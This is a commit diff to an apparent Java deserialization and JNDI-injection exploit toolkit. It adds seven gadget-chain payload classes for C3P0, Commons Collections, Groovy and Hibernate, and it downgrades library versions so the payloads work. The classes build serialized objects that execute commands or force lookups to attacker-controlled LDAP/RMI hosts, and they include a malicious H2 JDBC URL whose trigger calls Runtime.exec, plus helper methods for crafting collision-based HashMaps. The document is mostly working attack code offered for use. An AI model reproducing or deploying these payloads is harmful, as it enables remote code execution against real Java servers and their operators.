add 7gadgets (降级groovyt,hibernate适配新gadget)

2026-09-24 07:41:52 +08:00 · 2024-08-16 21:03:29 +08:00
parent 4bcce8789f
commit a3999b8186
15 changed files with 328 additions and 9 deletions
@@ -7,7 +7,6 @@
        <option name="delegatedBuild" value="false" />
        <option name="distributionType" value="LOCAL" />
        <option name="externalProjectPath" value="$PROJECT_DIR$" />
-        <option name="gradleHome" value="$PROJECT_DIR$/../../../env/JAVA/gradle-8.7" />
        <option name="gradleJvm" value="corretto-1.8" />
        <option name="modules">
          <set>
@@ -51,5 +51,10 @@
      <option name="name" value="MavenLocal" />
      <option name="url" value="file:/$MAVEN_REPOSITORY$/" />
    </remote-repository>
+    <remote-repository>
+      <option name="id" value="MavenLocal" />
+      <option name="name" value="MavenLocal" />
+      <option name="url" value="file:$MAVEN_REPOSITORY$/" />
+    </remote-repository>
  </component>
 </project>
@@ -11,7 +11,7 @@
      </list>
    </option>
  </component>
-  <component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="true" project-jdk-name="corretto-1.8" project-jdk-type="JavaSDK" />
+  <component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="true" project-jdk-name="1.8.0_65" project-jdk-type="JavaSDK" />
  <component name="ProjectType">
    <option name="id" value="jpab" />
  </component>
@@ -31,12 +31,14 @@ shadowJar {
 }

 dependencies {
+    implementation files('libs/jai-core-1.1.3.jar')
+    implementation files('libs/weblogic-server.jar')
    api libs.io.projectreactor.reactor.core
    api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc
    api libs.org.glassfish.tyrus.tyrus.server
-    api libs.javax.media.jai.jai.core
+//    api libs.javax.media.jai.jai.core
    api libs.org.javassist.javassist
-    api libs.com.oracle.weblogic.weblogic.server
+//    api libs.com.oracle.weblogic.weblogic.server
    api libs.xerces.xercesimpl
    api libs.com.fasterxml.jackson.core.jackson.databind
    api libs.com.teradata.jdbc.terajdbc
@@ -124,5 +126,5 @@ tasks.withType(Javadoc) {
 compileJava {
    options.compilerArgs << '-XDignore.symbol.file'
    options.fork = true
-    options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
+    options.forkOptions.executable = '/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/bin/javac'
 }
@@ -41,11 +41,11 @@ org-apache-wicket-wicket-util = "6.23.0"
 org-aspectj-aspectjweaver = "1.9.7"
 org-beanshell-bsh = "2.0b5"
 org-clojure-clojure = "1.8.0"
-org-codehaus-groovy-groovy = "2.4.5"
+org-codehaus-groovy-groovy = "2.4.3"
 org-eclipse-jetty-jetty-ant = "11.0.7"
 org-fusesource-jansi-jansi = "2.4.0"
 org-glassfish-tyrus-tyrus-server = "2.0.0"
-org-hibernate-hibernate-core = "4.3.11.Final"
+org-hibernate-hibernate-core = "4.1.12.Final"
 org-javassist-javassist = "3.29.2-GA"
 org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final"
 org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final"
@@ -0,0 +1,44 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.mchange.v2.c3p0.ComboPooledDataSource;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JDBC implements ObjectPayload<Object> {
+    private static  String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
+            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
+            "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
+            "$$\n";
+    @Override
+    public Object getObject(String command) throws Exception {
+
+        if (!command.toLowerCase().startsWith("jdbc:")) {
+            throw new Exception("Command format is: eviljdbcurl");
+        }
+        cmd = command;
+
+        ComboPooledDataSource o = new ComboPooledDataSource();
+        o.setJdbcUrl(cmd);
+        o.setMaxIdleTime(1);
+        o.setMaxPoolSize(1);
+
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -0,0 +1,40 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JNDI implements  ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        if (command.toLowerCase().startsWith("jndi:")) {
+            command = command.substring(5);
+        }
+
+        if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
+            throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
+        }
+
+        Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
+        Reflections.setFieldValue(o,"jndiName",command);
+        Reflections.setFieldValue(o,"identityToken","exp");
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -0,0 +1,39 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class C3P0JNDI2 implements  ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        if (command.toLowerCase().startsWith("jndi:")) {
+            command = command.substring(5);
+        }
+
+        if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
+            throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
+        }
+
+        JndiRefConnectionPoolDataSource o = new JndiRefConnectionPoolDataSource();
+        o.setJndiName(command);
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -0,0 +1,34 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Gadgets;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantFactory;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.util.HashMap;
+import java.util.Map;
+
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({Authors.Unam4})
+public class CommonsCollections14 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Transformer[] transformers = TransformerUtil.makeTransformer(command);
+
+        Transformer transformerChain = new ChainedTransformer(transformers);
+        Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
+        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
+        HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
+        Reflections.setFieldValue(decorate, "factory",transformerChain );
+        Reflections.setFieldValue(tiedMapEntry, "key",233);
+
+        return hashMap;
+    }
+
+}
@@ -0,0 +1,34 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Gadgets;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantFactory;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;
+
+@Dependencies({"commons-collections:commons-collections:3.1"})
+@Authors({Authors.Unam4})
+public class CommonsCollections15 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Transformer[] transformers = TransformerUtil.makeTransformer(command);
+
+        Transformer transformerChain = new ChainedTransformer(transformers);
+        Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
+
+        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
+        Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry);
+        Reflections.setFieldValue(decorate, "factory",transformerChain );
+        Reflections.setFieldValue(tiedMapEntry, "key",233);
+        return hashtable;
+    }
+}
@@ -0,0 +1,34 @@
+package com.qi4l.jndi.gadgets;
+
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import com.qi4l.jndi.gadgets.utils.Reflections;
+import org.codehaus.groovy.runtime.GStringImpl;
+import org.codehaus.groovy.runtime.MethodClosure;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+
+@Dependencies({"org.codehaus.groovy:groovy <2.4.3"})
+@Authors({Authors.Unam4})
+public class Groovy2 implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+        MethodClosure  execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
+        Reflections.setFieldValue(execute,"owner",command);
+        Reflections.setFieldValue(execute,"method","execute");
+        GStringImpl gString = new GStringImpl(new Object[]{execute},new String[]{"start"});
+        try {
+            Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
+            Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true);
+        } catch (Exception e){
+            Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
+        }
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, gString);
+        return val;
+    }
+
+}
@@ -0,0 +1,45 @@
+package com.qi4l.jndi.gadgets;
+
+import com.alibaba.fastjson.JSONArray;
+import com.qi4l.jndi.gadgets.annotation.Authors;
+import com.qi4l.jndi.gadgets.annotation.Dependencies;
+import org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl;
+
+import javax.management.BadAttributeValueExpException;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+
+@Dependencies({"org.hibernate:<4.2","com.alibaba.fastjson:com.alibaba.fastjson1.X"})
+@Authors({Authors.Unam4})
+public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
+    private static  String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
+            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
+            "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
+            "$$\n";
+    public Object getObject(String command) throws Exception {
+
+        if (!command.toLowerCase().startsWith("jdbc:")) {
+            throw new Exception("Command format is: eviljdbcurl");
+        }
+        cmd = command;
+        DriverManagerConnectionProviderImpl o = new DriverManagerConnectionProviderImpl();
+        HashMap<Object, Object> map1 = new HashMap<>();
+//        map1.put("hibernate.connection.driver_class","org.h2.Driver");
+        map1.put("hibernate.connection.url",cmd);
+        map1.put("hibernate.connection.initial_pool_size",0);
+        map1.put("hibernate.hikari.minimumIdle",0);
+        o.configure(map1);
+
+        JSONArray jsonArray = new JSONArray();
+        jsonArray.add(o);
+
+        BadAttributeValueExpException val      = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        valfield.setAccessible(true);
+        valfield.set(val, jsonArray);
+
+        HashMap hashMap = new HashMap();
+        hashMap.put(o, val);
+        return hashMap;
+    }
+}
@@ -52,6 +52,8 @@ public @interface Authors {

    String KILLER = "killer";

+    String Unam4 = "Unam4";
+
    String[] value() default {};

    class Utils {
@@ -14,6 +14,7 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.Base64;
 import java.util.HashMap;
+import java.util.Hashtable;
 import java.util.Map;

 import static com.qi4l.jndi.gadgets.Config.Config.*;
@@ -301,4 +302,40 @@ public class Gadgets extends ClassLoader {
    public Class<?> defineClass(String name, byte[] bytecode) {
        return defineClass(name, bytecode, 0, bytecode.length);
    }
+    public static Hashtable makeTableTstring(Object o) throws Exception{
+        Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        tHashMap1.put(o,"Unam4");
+        tHashMap2.put(o,"SpringKill");
+        Reflections.setFieldValue(tHashMap1,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap2,"loadFactor",1);
+
+        Hashtable hashtable = new Hashtable();
+        hashtable.put(tHashMap1,"Unam4");
+        hashtable.put(tHashMap2,"SpringKill");
+
+        tHashMap1.put(o, null);
+        tHashMap2.put(o, null);
+        return hashtable;
+    }
+    public static HashMap maskmapToString(Object o1, Object o2) throws Exception{
+        Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
+        tHashMap1.put(o1,null);
+        tHashMap2.put(o2,null);
+        Reflections.setFieldValue(tHashMap1,"loadFactor",1);
+        Reflections.setFieldValue(tHashMap2,"loadFactor",1);
+        HashMap hashMap = new HashMap();
+        Class node = Class.forName("java.util.HashMap$Node");
+        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
+        constructor.setAccessible(true);
+        Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null);
+        Object node2 = constructor.newInstance(0, tHashMap2, "SpringKill", null);
+        Reflections.setFieldValue(hashMap, "size", 2);
+        Object arr = Array.newInstance(node, 2);
+        Array.set(arr, 0, node1);
+        Array.set(arr, 1, node2);
+        Reflections.setFieldValue(hashMap, "table", arr);
+        return hashMap;
+    }
 }
@@ -4,6 +4,9 @@ import com.nqzero.permit.Permit;
 import sun.reflect.ReflectionFactory;

 import java.lang.reflect.*;
+import java.util.HashMap;
+import java.util.Hashtable;
+import java.util.Map;

@SuppressWarnings("restriction")
 public class Reflections extends ClassLoader {
@@ -44,7 +47,9 @@ public class Reflections extends ClassLoader {
    public static Object newInstance(String className, Object... args) throws Exception {
        return getFirstCtor(className).newInstance(args);
    }
-
+    public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
+        return createWithoutConstructor(Class.forName(classname));
+    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
@@ -83,5 +88,4 @@ public class Reflections extends ClassLoader {
        }
        return null;
    }
-
 }